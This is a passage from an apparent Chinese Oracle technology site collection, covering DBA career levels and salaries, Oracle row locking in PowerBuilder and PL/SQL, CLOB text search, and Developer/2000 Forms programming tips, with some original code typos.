最后说说注意细节，这种性格倾向非常重要。注意细节的DBA们衣着整洁，有自己的日程安排，在应试前对应聘的单位做过调查。注意细节的DBA们深入了解数据库的内核，并能理解视图、表之间的关系。

DBA的等级

    DBA的等级并不是很严格的。按照对数据库的掌握情况，我简单地分成三个等级：初级Primary、中级Intermediate和高级Senior。

    初级DBA又称为DBBS，是英文Database Baby Sitter的缩写。初级DBA常常是兼职的，他们往往同时是程序员或者兼任其他的工作。初级DBA往往把个人简历写得很棒，参与了很多和数据库有关的项目或工作。但是，这些项目或者工作往往是：第三方软件供应商已经安装并配置了数据库，他们只做一些监控的工作。他们能处理一些简单的问题，但大多数时候他们向应用软件供应商求救。初级DBA更喜欢图形化的数据库管理或者监控工具，他们喜欢Access这样的桌面数据库简单易用，并把这些小型数据库的经验简单地应用到大型数据库相关的工作中。

    初级DBA是最好区分的。而中级DBA和高级DBA就不太好区分。他们的差别在于经验的不同和个性特点、能力方面的差异。中级DBA比较多，他们可以胜任高级DBA的大部分工作，包括：

    1. 数据库安装
    2. 数据库配置和管理
    3. 权限设置和安全管理
    4. 监控和性能调节
    5. 备份和恢复
    6. 解决一般的问题

    中级DBA往往从业一年左右，熟悉某种操作系统环境下的数据库。因为对中级DBA来讲，Windows NT和Unix是有很大差别的。中级DBA对SQL比较熟悉，他们自己购买了几本数据库方面的书籍，并深入钻研。中级DBA往往同时兼任数据库程序员，他们的工作对性能、稳定性、安全性的追求基本上不是很高，往往配合高级DBA做一些例行工作。

    高级DBA在国内是非常少的。他们购买了太多的数据库方面的英文资料，也许是托朋友从Amazon买的。相对于他们的报酬来讲，买书的钱是很少的一个比例。高级DBA一般都熟悉很多种操作平台下的几种大型数据库。他们知道各种不同数据库在不同环境下的优势和劣势，并能在数据库平台和数据库环境的选择方面做出决策。他们一般通晓系统架构和数据库设计，并能对数据库进行各种级别的优化。高级DBA一般都配有助手，他们更偏向做决策和计划。高级DBA往往在银行业、保险业、在线交易等对稳定性、安全性、性能都要求比较高的关键业务处理领域大显身手。

    很多时候，是否取得数据库专家认证证书并不是很重要。我知道很多数据库厂商的培训只要你去了都会获得证书。有很多的公司提供商业化的培训，他们的服务质量也有好有劣。所以证书并不是特别地有意义。

几种流行的数据库系统

最"容易"的数据库系统-Microsoft SQL Server

    如果你打算做一个DBA，建议你选择那些现在比较流行的数据库系统。这意味着你将有更多的就业机会、交流和培训机会，而且，流行自有流行的理由，你可以因此省心很多。当然，就业竞争压力也比较大。一般的入门者选择Microsoft SQL Server，这是非常适合中小型企业的数据库系统，熟悉Access的读者很容易就能初步使用Microsoft SQL Server，成为一个DBBS。 J
Microsoft SQL Server 7.0的报价，5用户版1399美金，增加用户时，127美金每用户。

最"难"的数据库-无冕之王Oracle

    如果你有机会接触到Oracle，那可是个好机会。Oracle是目前最看好的数据库厂商，由于其强大的功能和可配置、可管理能力，Oracle DBA的薪资一般比其他数据库管理员的薪资要高。而且，Oracle在大中型企业的关键应用也更加普遍了。Oracle可以运行在Windows NT、Sun Solaris、Linux等平台下。很多情况下要求你不仅仅熟悉NT，还要你熟悉Unix；而且Oracle不太友善的界面和成箱的Oracle产品资料可能也是一个障碍。
Oracle 8i标准版的报价，如果运行在Windows NT，附带JServer和interMedia，支持5个并发用户，报价是3925美金每CPU。增加并发用户时，785美金每用户。增加附加的命名用户时，392.5美金每用户。

数据库系统的贵族-IBM UDB/DB2

    作为30年数据库研究的成果，IBM DB2确实称得上"数据库系统的贵族"。不管是小型商业系统，还是大的银行系统，用DB2都是可以高枕无忧的。最近推出的新版DB2 6.1， 管理和调节工具更加卓越和便于使用。DB2 可以运行在Intel架构上，也可以运行在IBM的S/390大型计算机上。如果你所在的行业对IBM的机器特别地称道，建议你学习IBM DB2。

DB2有两种版本：工作组版和企业版。工作组版999美元每服务器，外加249美元每个并发用户。而企业版是12500美元每个CPU，不限并发用户数量。

以Java为中心的数据库-Sybase Adaptive Server Enterprise(ASE) 12.0

    即将发布的Sybase ASE 12.0，直接面向Java 程序员。这种以Java为中心的数据库系统，为那些准备在Java 平台下构建企业应用的企业来说，将是最好的选择。但是ASE称不上一个数据库领域的领先者，尽管相对于它以前的版本已经改进很多，并支持多个CPU和更多的并发，还有很多的新的特性。但Sybase的风光似乎已经不再。

值得期盼的Informix Centaur

    有时候"第一"只是意味着你的对手需要等待更长的时间去赶上你。这正是1997年创立的Informix所面临的。Informix公司是率先将多媒体特性加入到关系数据库系统的大型数据库厂商之一。但是如今，IBM、Oracle、Sybase都已经跨越了这个概念。所以，Informix不得不寻求新的支撑来使自己区别于其他数据库厂商。这就是Informix Centaur的目标。Informix Centaur结合了Informix Dynamic Server 7.3的对象-关系数据库和Informix Universal Data Option 9.1，意在获得更好的适应性和多媒体支持。详情如何，我们拭目以待！

DBA的薪资

有很多因素影响到你作为DBA的薪资：

    1. 你的经验和能力所决定的DBA等级
    2. 你所熟悉的数据库系统
    3. 你的个性特点和潜力

    下面的表说明了国内DBA人员的基本薪资状况，并说明了DAB等级和你所熟悉的数据库系统怎样影响到DBA的薪资。当然，这只是我个人掌握的情况，只能在一定程度上代表行业的平均水平。

DBA等级数据库系统 | 初级DBA年薪(万元) | 中级DBA年薪(万元) | 高级DBA年薪(万元)
Oracle | 4 | 8 | 11
Microsoft SQL Server | 3 | 5 | 8
IBM DB2 | 4 | 8 | 10
Sybase | 3.5 | 6 | 8
Informix | 4 | 7 | 10
注：每年按13个月计算。表内数字为平均年薪。


Oracle技术网—在客户端处理Oracle的数据行加锁问题

在客户端处理Oracle的数据行加锁问题

摘自：不详

摘要: | 本文简单阐述了一般数据库锁，以ORACLE为例的加锁问题,提出了解决ORACLE的数据行加锁及并发性处理的一般办法.并给出了用PB编程两种实现方法.
关键词: | ORACLE，加锁,解锁，行锁， PowerBuilder

数据的完整性和并发性：

在网络数据库处理数据中，需要保证数据的完整性、多事务的并发性和数据的一致性。数据库系统必须最大限度的保证数据内容的有效性和合理性，使得数据合法与合理，即保证数据的完整性。而网络（多用户）数据库应用系统中，通常都会遇到多个事务同时请求修改同一数据。数据库的并发性处理保证数据库系统据能够合理有效地处理多个事务请求，在数据库管理系统协调下，宏观表现为并行处理，微观为逐个串行处理，保证数据的一致性，从而避免数据处理中的 “脏”数据发生。在数据库系统本身对数据的并发性和一致性有基本控制能力下，以Oracle为例的关系数据库系统已经能保证数据的并发性能，而数据库的应用设计则需要以考虑数据在并发过程中的一致性为重点。一个简单的例子：甲乙同时从数据库中读出了一条相同的数据记录。甲把数据作了修改，并且作了事务提交。（而乙此时并不知道数据已经被修改了。）称乙已经读出的数据为脏数据，破坏了数据的一致性 ， 为了保证数据的一致性，此时有必要对数据进行加锁。再例如：一银行帐户有￥6000， 此时甲要从中提出￥5000，而乙也同时要从中提出￥5000，双方在不加锁查询时，双方均认为可以提款，事实上肯定有一方的提交会失败。原因是在最终事务提交时，要对数据作了加锁查询效验处理。

A0事务 | B0事务
加 锁 | 加 锁
解 锁 | 解 锁
A1事务 | B1事务

并发性和一致性
  1. 数据库中的数据锁 为了防止多个用户事务交替操作数据库对象，破坏性数据库完整性，同时又要保证数据的并发性和一致性，数据库管理系统一般提供了各种类型的封锁机制，可以自动为一个事务封锁资源，而在事务不需要时自动释放。以使另一个需要独占该资源的事务能够继续进程，而不会造成事务死锁。数据库对象的封锁完全能够由数据库系统自动完成，ORACLE (一般情况数据库)对加锁有以下特征:A 多种封锁模式．例如：系统表的转有锁，共享锁。B 完备的自动加/解锁功能和释放机制。C 用低级别的封锁换取高级别的并发处理。D能够在客户端/服务器模式下自动封锁过程。Oracle 的主要封锁类型有：

    2. A 数据锁，用于封锁表或表中的指定行．属于数据操纵锁，

    B 字典锁，用于保护数据库对象（表，索引）的创建维护．属于数据定义锁

    C 内部锁。用于保护数据库的内部结构．

    正常情况下，为完成数据操纵，一般需要两种级别的封锁方式，封锁整表或行封。通常只在热备份数据,时候，需要对整表进行锁定． 而应用程序的事务处理通常是数据行的数据操纵语句：

    INSERT,

    UPDATE,

    DELETE,

    SELECT （FOR UPDATE）

    以上操作在执行过程中，数据库都会对相应的行做数据行封锁．

    一般情况下,只要行封事务不放弃封锁， 此行就不可能被其他任何用户的事务修改（部分语句，如SELECT仍然允许不加锁地读出）。只有当数据库重新启动，数据表空间离线/在线处理，当事务正常提交、回滚时，行封事务才能被自动解除封锁. （通常 ROLLBACK ，COMMIT 可以自动解除行封锁。）在表上的数据锁的高低级别为：

    表专有 | 共享行专有 | 共享 | 行专有 | 行共享
Exclusive | ShareRoweXclusive | Share | RoweXclusive | RowShare
EX | SRX | S | RX | RS

    简单的SELECT 语句无任何锁，INSERT, UPDATE, DELETE为行专有（RX）,允许在操作中多次修改这些行, 提交或回滚后自动解除封锁,

    SELECT (FOR UPDATE )为专有行的数据锁．在应用程序中使用最多.也是通常对数据行进行控制的简单有效的方法。例如：在Windows95下，同时分别用两个以上SQL*PLUS，以相同的用户联接Oracle Server相同的实例，在其中一个窗口下做Update/Delete中任意操作，只要没有提交，均不影响其它窗口的不加锁查询，但是不可以再其它窗口下对同一条记录作Update/Delete 操作，Insert没有提交以前，其它操作均无效。只有当一方事务完成（提交/回滚）以后立即释放相应资源，另一方申请的事务才能成功响应。

  2. 行锁在应用程序的注意事项

    3. 在实际应用中，可能由于一次事务提交的数据太多，造成数据加锁时间太长，破坏了数据的并发共享特性。如果事务独占了相应的资源，没有得到释放，而另一个事务占有该事务的下一个资源，就有可能造成数据库应用系统死锁。另外，如果在加锁过程中，出现网络中断，客户端掉电等突发问题，被加锁的资源无法解锁，其它应用程序将无法继续获得已经被加锁的资源，也可以出现死锁. 通常只有DBA才能取消事务或通过数据表空间的在线/离线操作解除加锁事务（通常大型应用系统这样做有一定的风险）。如果在程序应用中经常出现这样的问题，则造成应用数据库应用系统无法正常工作。虽然这样的情况在C/S程序的开发/应用中并不经常出现，但是在应用程序设计中都是应该严格考虑的。

  3. 常用的数据加锁方法（以ORACLE 与PB连接为例）

    4. A 在客户端编程方法：在客户端的编程处理的方法最简单，调试也很直观、方便。但是这种方法仅仅在中、小型网络中可以使用。因为当网络用户数量增加，或应用程序在客户端应用过程中意外中断（死机，退出），则可能造成数据行的死锁。其他用户无法正确独占加锁。但是实际应用表明此种方法在网络自身可靠性好、用户数量不大时经常被采纳。

    下面是用POWERBUILDER 与 ORACLE的数据联结处理实例。

    /**********************************************************

    *变量：ls_goodscode , li_store_qty

    * 表：AMS.TAB_STORE_GOODSINFO

    *

    *功能：从库存数中减去 2

    *

    **********************************************************/

    STRING ls_goodscode

    INTEGER li_stroe_qty

    ls_goodscode = sle_goodscode.text

    SELECT QTY

    INTO li_store_qty

    FROM AMS.TAB_STORE_GOODSINFO

    WHERE GOODS_NO = SUBSTR(:ls_goodscode , 1, 13)

    AND SERIAL_NO = SUBSTR(:ls_goodscode , 14, 4)

    FOR UPDATE NOWAITE ; // 对数据加锁,不等待。

    if SQLCA.SQLCODE = 0 then // if _01

    if li_store_qty >=2 then // if _02

    UPDATE AMS.TAB_STORE_GOODSINFO

    SET QTY = :li_store_qty - 2

    WHERE GOODS_NO = SUBSTR(:ls_goodscode , 1, 13)

    AND SERIAL_NO = SUBSTR(:ls_goodscode , 14, 4);

    if SQLCA.SQLCODE = 0 then

    COMMIT ; // 成功提交

    else

    ROLLBACK ;// 及时回滚解锁

    messagebox("系统提示", "库存数量已经不足！");

    end if

    else

    ROLLBACK;

    messagebox("系统提示", "库存数量已经不足！");

    end if // end if 02

    else //其中 ORA-00054: resource busy and acquire with NOWAIT specified

    ROLLBACK ;// 及时回滚解锁

    messagebox("系统提示", "数据读入有误，请稍候再试！",stopsign! ok!);

    end if // end if 01

    //同时在当前的FROM WINDOW中的CLOSEQUERY中显示写明ROLLBACK ；

    设计说明：当第一句SELECT完成以后，如果数据加锁正确，则可以继续工作，但是此时可能数据被别的应用程序控制，则返回Oracle的错误代码：ORA-00054说明共享冲突。此句可以用一个有限的循环控制，但是一定要防止数据死锁。同时为了保证万无一失，在当前FORM的关闭事件中显示写明回滚（ROLLBACK）。

    B 在客户端按传输（Transaction ）方法处理：将要提交的所有SQL任务作为多个子串传送到服务器端，用动态SQL方法在客户端一次传输完成后,在服务器端一次执行完成，只有当事务执行正确，才能提交, 否则回滚。这样在执行多个表操作提交时，数据执行加锁的时间影响将大大减小。这样极大程度的缓解了多表共享数据的加锁问题。好处是不需要服务器端的调试,但是，编程调试过程复杂。但是实际效果与第一种方法基本一致。

    C 存储过程方法：这种方法是直接调用服务器的存储过程，所有的对Client端程序代码可以大大减少，数据一致性，并发性，安全性都能得到保证。客户端的异常通常不会影起数据的死锁。

    下面是用POWERBUILDER 与 ORACLE的数据联结处理实例。

    /**********************************************************

    *变量：ls_goodscode , li_store_qty

    * 表：AMS.TAB_STORE_GOODSINFO

    *

    *功能：从库存数中减去 2

    *

    **********************************************************/

    STRING ls_goodscode

    INTEGER li_stroe_qty

    ls_goodscode = st.text

    if len(ls_goodscode) = 17 then

    DECLARE pstore_goods PROCEDURE FOR pd_store_goods(:ls_goodscode ) ;

    // 从库存数中减去 2

    execute pstore_goods;

    if SQLCA.SLQCODE < 0 then

    ROLLBACK ；

    messagebox("系统提示", "数据操作有误，请稍候再试！",stopsign! ok!);

    end if

    else

    messagebox("系统提示", "数据输入有误！",information!, ok!);

    end if

    //同时在当前的FROM WINDOW中的CLOSEQUERY中显示写明ROLLBACK ；

    在服务器端

    -- procedure pd_store_goods

    create or replace procedure pd_store_goods ( ls_goodscode in varchar2 )

    IS

    ln_store_qty number(10) ;

    begin

    SELECT nvl(QTY, -1)

    INTO ln_store_qty

    FROM AMS.TAB_STORE_GOODS_INFO

    WHERE GOODS_NO = SUBSTR(ls_goodscode , 1, 13)

    AND SERIAL_NO = SUBSTR(ls_goodscode , 14, 4)

    FOR UPDATE NOWAIT;

    if ln_store_qty >= 2 then

    UPDATE AMS.TAB_STORE_GOODS_INFO

    SET QTY = ln_store_qty - 2

    WHERE GOODS_NO = SUBSTR(ls_goodscode , 1, 13)

    AND SERIAL_NO = SUBSTR(ls_goodscode , 14, 4);

    COMMIT ；

    else

    ROLLBACK ;

    RAISE_APPLICATION_ERROR(-200002, 'store not enougth!');

    end if;

    EXCEPTION

    WHEN OTHERS THEN

    RAISE_APPLICATION_ERROR(-200001, 'store not SCUESSCULL!');

    end ;

    设计说明：首先在SQL*PLUS中运行存储过程，在PB的程序端调用。只有当SELECT语句正常加锁后， UPDATE语句才可以正常执行。在由此可见在客户端不知道存储过程运行的内容，调试/维护工作较麻烦。但是，因为所有的运行都在服务器端，基本可以忽略除服务器端以外的所有问题，如网络的通畅，客户端异常等等。实际应用中对大型繁重的数据处理大多采用这样的方法。

  4. 注意与小结：

在Oracle的连接中，需要解释的是数据行加锁在同一个事务中是不可见的，但是执行权限级别顺序为：Delete >Update >Insert >Select.

本文以Oracle为例，说明在数据库处理过程中，在数据库设计上，要考虑数据的数据的完整性，在数据库的应用设计上必须着重事务的并发性和数据的一致性。对于数据行锁要谨慎对待。

（以上程序在广东大亚湾核电物资管理系统中运行通过）

(全文完)

联系地址： 610054 成都市 建设北路 电子科技大学 97S4 张卫华

Email : hamlet@163.net


如何对CLOB行字段执行全文检索

大家知道，超过4000字的文本一般存储在CLOB中（MSQL、Sysbase是存放在Text中），在目前的Oracle版本（Oracle8i)中，对大字段CLOB仍然不支持在where子句直接的like操作，如何实现对存储在CLOB字段中的内容进行like查找呢？下面的文章或则能给你帮助。虽然在SQL*PLUS中能实现用select直接看到CLOB的内容，但是如何通过DBMS_LOB包实现对中文环境下的CLOB内容的读取我一直没有找到好的方法（使用Documents中提到的Samples只适用英文字符集），这极大的限制了使用第3方软件开发工作的自由度。如果那位仁兄有高招希望Email给我。

表结构：
create table products(
productid number(10) not null ,
name varchar2(255) ,
description CLOB) ;

方法：
SELECT productid, name FROM products
WHERE dbms_lob.instr(products.description,'some text',1,1) > 0;

下面列出了DBMS_LOB包中的过程函数：

APPEND procedure Appends the contents of the source LOB to the destination LOB.

CLOSE procedure Closes a previously opened internal or external LOB.

COMPARE function Compares two entire LOBs or parts of two LOBs.

COPY procedure Copies all, or part, of the source LOB to the destination LOB.

CREATETEMPORARY procedure Creates a temporary BLOB or CLOB and its corresponding index in the user's default temporary tablespace.

ERASE procedure Erases all or part of a LOB.

FILECLOSE procedure Closes the file.

FILECLOSEALL procedure Closes all previously opened files.

FILEEXISTS function Checks if the file exists on the server.

FILEGETNAME procedure Gets the directory alias and file name.

FILEISOPEN function Checks if the file was opened using the input BFILE locators.

FILEOPEN procedure Opens a file.

FREETEMPORARY procedure Frees the temporary BLOB or CLOB in the user's default temporary tablespace.

GETCHUNKSIZE function Returns the amount of space used in the LOB chunk to store the LOB value.

GETLENGTH function Gets the length of the LOB value.

INSTR function Returns the matching position of the nth occurrence of the pattern in the LOB.

ISOPEN function Checks to see if the LOB was already opened using the input locator.

ISTEMPORARY function Checks if the locator is pointing to a temporary LOB.

LOADFROMFILE procedure Loads BFILE data into an internal LOB.

OPEN procedure Opens a LOB (internal, external, or temporary) in the indicated mode.

READ procedure Reads data from the LOB starting at the specified offset.

SUBSTR function Returns part of the LOB value starting at the specified offset.

TRIM procedure Trims the LOB value to the specified shorter length.

WRITE procedure Writes data to the LOB from a specified offset.

WRITEAPPEND procedure Writes a buffer to the end of a LOB.


Oracle技术网—Developer/2000中各键盘触发子所对应的“按键”

位置：首页→Developer/2000→FORM技巧

【点击：】 阿木伯 著
Developer/2000中各键盘触发子所对应的“按键”

  • Form程序：
        封装过程　　　　键触发子	含义　　　　　　　　　　对应按键
    ABORT_QUERY　　 Key-EXIT	[退出/取消]
    BLOCK_MENU　　　Key-MENU	[块菜单]　　　　　　　　F5
    CLEAR_BLOCK　　 Key-CLRBLK	[清空块]　　　　　　　　Shift+F5
    CLEAR_FORM　　　Key-CLRFRM	[清空FORM]　　　　　　　Shift+F7
    CLEAR_RECORD　　Key-CLRREC	[清空记录]　　　　　　　Shift+F4
    COMMIT_FORM　　 Key-COMMIT	[提交/存盘]　　　　　　 F10
    COUNT_QUERY　　 Key-CQUERY	[计算查询记录总数]　　　Shift+F2
    CREATE_RECORD　 Key-CREREC	[插入新记录]　　　　　　F6
    DELETE_RECORD　 Key-DELREC	[删除记录]　　　　　　　Shift+F6
    DOWN　　　　　　Key-DOWN	[下滚记录]　　　　　　　Ctrl+l、下箭头
    DUPLICATE_ITEM　Key-DUP-ITEM	[复制域/项]　　　　　　 F3
    DUPLICATE_RECORDKey-DUPREC	[复制记录]　　　　　　　F4
    EDIT_TEXTITEM　 Key-EDIT	[打开编辑器]　　　　　　Ctrl+E
    ENTER　　　　　 Key-ENTER	[Enter]
    ENTER_QUERY　　 Key-ENTQRY	[输入查询条件]　　　　　F7
    EXECUTE_QUERY　 Key-EXEQRY	[执行查询]　　　　　　　F8
    EXIT_FORM　　　 Key-EXIT	[退出/取消查询]　　　　 Ctrl+Q
    HELP　　　　　　Key-HELP	[帮助]　　　　　　　　　F1
    LIST_VALUES　　 Key-LISTVAL	[显示值列表LOV]　　　　 F9
    LOCK_RECORD　　 Key-UPDREC	[Lock Record]
    NEXT_BLOCK　　　Key-NXTBLK	[下一块]　　　　　　　　Ctrl+Page Down
    NEXT_ITEM　　　 Key-NEXT-ITEM	[下一域/项]　　　　　　 Ctrl+Tab、Tab、Enter
    NEXT_KEY　　　　Key-NXTKEY	[定位到下一个主键项]　　Shift+F3
    NEXT_RECORD　　 Key-NXTREC	[下一条记录]　　　　　　Shift+Down
    NEXT_SET　　　　Key-NXTSET	[下一个记录集]　　　　　Ctrl+>
    PREVIOUS_BLOCK　Key-PRVBLK	[前一块]　　　　　　　　Ctrl+Page Up
    PREVIOUS_ITEM　 Key-PREV-ITEM	[前一域/项]　　　　　　 Shift+Tab、Shift+Ctrl+Tab
    PREVIOUS_RECORD Key-PRVREC	[前一条记录]　　　　　　Shift+Up
    PRINT　　　　　 Key-PRINT	[打印当前屏幕]　　　　　Shift+F8
    SCROLL_DOWN　　 Key-SCRDOWN	[下翻屏]　　　　　　　　Page Down
    SCROLL_UP　　　 Key-SCRUP	[上翻屏]　　　　　　　　Page Up
    UP　　　　　　　Key-UP　　　　　[上滚记录]　　　　　　　Ctrl+p、上箭头

    Esc　　　　　　 取消
    Backspace　　　 向后删除
    Ctrl+U　　　　　清除域/项
    Ctrl+F1　　　　 显示有效的功能键列表
    Shift+F1　　　　发生错误时，显示错误窗口


Oracle技术网—FORM调用REPORT时，如何去掉report server

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM调用REPORT时，如何去掉report server？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        Add_parameter(list_id,'ORACLE_SHUTDOWN',TEXT_PARAMETER,'YES');


Oracle技术网—FORM中，Exception(例外)都有哪些，如何书写

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，Exception(例外)都有哪些，如何书写？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        BEGIN
    《PL/SQL块》;
    Exception
        when no_data_found then	--没有找到数据
            《响应命令》;
        when too_many_rows then	--返回多行，隐式光标每次只能检索一行数据
            《响应命令》;
        when invalid_number then	--字符向数字转换失败
            《响应命令》;
        when zero_divide then		--被零除
            《响应命令》;
        when dup_val_on_index then	--向唯一索引中插入重复数据
            《响应命令》;
        when invalid_cursor then	--非法游标操作
            《响应命令》;
        when value_error then		--数字的,数据转换,截字符串或强制性的错误
            《响应命令》;
        when others then		--发生其它任何错误
        null;			--选择一：什么也不做，就当错误没发生
        raise form_trigger_failure;	--选择二：挂起当前程序
    END;


Oracle技术网—FORM中，FORM中，如何引入图像,制作封面？

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，如何引入图像,制作封面？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      1、打开Form Builder

      2、文件(F)→新建(N)→表格(F)

      3、鼠标右键→布局编辑器(E)

      4、文件(F)→导入(I)→图象(I)

         可调入作好的图像,以制作封面。

         所支持的图像格式有:TIF、JPG、BMP、TGA、PCX、PCT、GIF、CAL、RAS、OIF、PCD等


Oracle技术网—FORM中，WINDOW标题的设置

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，WINDOW标题的设置

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      1. 在Form级触发器中添加触发WHEN-NEW-FORM-INSTANCE
         SET_WINDOW_PROPERTY(FORMS_MDI_WINDOW, title,'你要写的标题');

      或用以下方法

      2. 对象导航器→窗口→WINDOW0（窗口的名字）→属性→标题→修改其属性


Oracle技术网—FORM中，常用快捷键有哪些

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，常用快捷键有哪些？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 说明：
        CTRL+S	保存
    CTRL+T	编译文件
    CTRL+R	运行FORM
    CTRL+J	连接
    F1	调用帮助
    F2	布局编辑器
    F4	属性选项板


Oracle技术网—FORM中，触发子exit_form的两种功能是什么

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，触发子exit_form的两种功能是什么？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        1、退出FORM
       exit_form;

    2、取消查询
       if :System.Mode = 'ENTER-QUERY' then
           exit_form;
       end if;


Oracle技术网—FORM中，当光标走到块的最后一项时，如何让按“enter回车”键时，光标自动走到下一条记录的第一项？

位置：首页→Developer/2000→FORM技巧

阿木伯 著
FORM中，当光标走到块的最后一项时，如何让按“enter回车”键时，光标自动走到下一条记录的第一项？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
      设置块属性
      导航器风格：改变记录


Oracle技术网—FORM中，当用鼠标点击标签画布的某一“标签页”时，如何判断点击的是哪一页

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，当用鼠标点击标签画布的某一“标签页”时，如何判断点击的是哪一页？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        1. 在Form级触发器中添加触发WHEN-TAB-PAGE-CHANGED
    2. 在此触发器中写如下代码：

    DECLARE
        canvas_id   VARCHAR2(30);			--标签页ID
    BEGIN
        canvas_id := GET_CANVAS_PROPERTY('标签画布名', topmost_tab_page);
        IF canvas_id='标签页1'  then go_block('块1');end if;
        IF canvas_id='标签页2'  then go_block('块2');end if;
        IF canvas_id='标签页3'  then go_block('块3');end if;
        execute_query;
    END;


Oracle技术网—FORM中，如何屏蔽默认的功能键

位置：首页→Developer/2000→FORM技巧→

阿木伯 著
FORM中，如何屏蔽默认的功能键？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
                   ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 实现方法：
        1. 在Form级触发器中添加触发KEY-OTHERS
    2. 在此触发器中写如下代码：
       null;
    3. 这样FORM程序运行后，大部分的功能键都被屏蔽（包括一些必需键，如：上箭头、下箭头、退出...），
       要想让这些键再恢复功能，就为这些键各自编程：

       按键　　　　　　　触发器　　　　　　　代码　　　　　　　 说明
       上箭头　　　　　　　KEY-DOWN　　　　　　　DOWN;　　　　　　　 上滚记录
       下箭头　　　　　　　KEY-UP　　　　　　　　UP;　　　　　　　　 下滚记录
       Page Up　　　　　　 KEY-SCRUP　　　　　　 SCROLL_UP;　　　　　上翻屏
       Page Down　　　　　 KEY-SCRDOWN　　　　　 SCROLL_DOWN;　　　　下翻屏
       F1　　　　　　　　　KEY-HELP　　　　　　　HELP;　　　　　　　 显示帮助
       F3　　　　　　　　　KEY-DUP-ITEM　　　　　DUPLICATE_ITEM;　　 复制项
       F4　　　　　　　　　KEY-DUPREC　　　　　　DUPLICATE_RECORD;　 复制记录
       F5　　　　　　　　　KEY-MENU　　　　　　　BLOCK_MENU;　　　　 块导航菜单
       F6　　　　　　　　　KEY-CREREC　　　　　　CREATE_RECORD;　　　插入记录
       F7　　　　　　　　　KEY-ENTQRY　　　　　　ENTER_QUERY;　　　　输入查询条件
       F8　　　　　　　　　KEY-EXEQRY　　　　　　EXECUTE_QUERY;　　　运行查询
       F9　　　　　　　　　KEY-LISTVAL　　　　　 LIST_VALUES;　　　　显示LOV
       F10　　　　　　　　 KEY-COMMIT　　　　　　COMMIT;　　　　　　 存盘
       Enter、Tab　　　　　KEY-NEXT-ITEM　　　　 NEXT_ITEM;　　　　　下一项
       SHIFT+TAB　　　　　 KEY-PREV-ITEM　　　　 PREVIOUS_ITEM;　　　前一项
       Ctrl+Q　　　　　　　KEY-EXIT　　　　　　　EXIT_FORM;　　　　　退出/取消查询


Oracle技术网—FORM中，如何实现屏幕同步刷新？

位置：首页→Developer/2000—FORM技巧

阿木伯 著
FORM中，如何实现屏幕同步刷新？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4，ORACLE安装路径为：C:\ORANT
      2、客户端：Windows 98、Developer/2000客户端安装（版本2.1）
  • 现象说明：
      FORM中，在做一连串大的操作时，有时希望用message来显示提示信息，但屏幕却不刷新，
  • 解决方法：
      message('信息1');
      synchronize;(同步屏幕显示)
      message('信息2');
      synchronize;


Oracle技术网—FORM中，如何使用警告

位置：首页→Developer/2000→FORM技巧

【点击：】 阿木伯 著
FORM中，如何使用警告？

  • DECLARE
    I NUMBER;
BEGIN
    SET_ALERT_BUTTON_PROPERTY('警告名',ALERT_BUTTON1,LABEL,'提示1');
    SET_ALERT_BUTTON_PROPERTY('警告名',ALERT_BUTTON2,LABEL,'提示2');
    SET_ALERT_BUTTON_PROPERTY('警告名',ALERT_BUTTON3,LABEL,'提示3');
    SET_ALERT_PROPERTY('警告名',ALERT_MESSAGE_TEXT,'提示信息');
    SET_ALERT_PROPERTY('警告名',TITLE,'标题');
    I:=SHOW_ALERT('警告名');
    IF I=ALERT_BUTTON1 THEN
        MESSAGE('.......');
    ELSIF I=ALERT_BUTTON2 THEN
        MESSAGE('.......');
    ELSIF I=ALERT_BUTTON3 THEN
        MESSAGE('.......');
    END IF;
END;

例如：
在退出按钮中
DECLARE
    I	NUMBER;
BEGIN
    SET_ALERT_BUTTON_PROPERTY('ALERT',ALERT_BUTTON1,LABEL,'退出');
    SET_ALERT_BUTTON_PROPERTY('ALERT',ALERT_BUTTON2,LABEL,'返回');
    SET_ALERT_PROPERTY('ALERT',ALERT_MESSAGE_TEXT,'是否退出');
    SET_ALERT_PROPERTY('ALERT',TITLE,'询问');
    I:=SHOW_ALERT('ALERT');
    IF I=ALERT_BUTTON1 THEN
        EXIT_FORM(ASK_COMMIT);
    ELSE
        GO_BLOCK(块名);
    END IF;
END;

在删除按钮上
DECLARE
    I NUMBER;
BEGIN

SET_ALERT_BUTTON_PROPERTY('ALERT',ALERT_BUTTON1,LABEL,'是(Y)');
